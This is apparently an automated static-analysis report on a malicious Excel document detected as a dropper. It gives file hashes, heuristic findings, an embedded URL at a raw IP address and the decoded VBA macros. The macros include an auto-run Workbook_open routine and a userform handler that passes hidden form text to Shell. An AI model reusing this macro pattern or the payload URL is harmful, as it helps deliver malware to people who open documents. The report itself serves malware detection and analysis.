Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 98b584b31457b21d…

MALICIOUS

Office (OLE)

87.5 KB Created: 2019-06-19 17:19:06 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: ab97dfc410adc9d122c5be4754585bd3 SHA-1: 84fc8b417064fac59f0fdb5d56af462e11bef64b SHA-256: 98b584b31457b21d0d48fcc78093439638e15dd1705e54182d9aa4ffad014c3a
190 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6998004-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6998004-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Replace(App2.T3.Text, "77:77", time)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName App1, "Show", VbMethod
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.183.99.241/cm1 In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2153 bytes
SHA-256: 3cba618c4c19b9f445c958e2862a092c24ca7273f8c17cc6054f6960764aac9c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
CallByName App1, "Show", VbMethod

End Sub


Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "App1"
Attribute VB_Base = "0{B0F9B047-DEAA-4437-B433-A04C465CA76D}{610110A3-0587-452F-8550-33E37DCC1A38}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()
On Error Resume Next
Dim time
time = Format(Now + TimeSerial(0, 0, 24), "hh:mm")


Shell Replace(App2.T3.Text, "77:77", time)
Unload Me
End Sub



Attribute VB_Name = "App2"
Attribute VB_Base = "0{4CD69D7C-A2E1-4D07-A3E0-39DAF838F30F}{3F178BB0-A7E8-4B70-B6DC-CCD41DE23DFE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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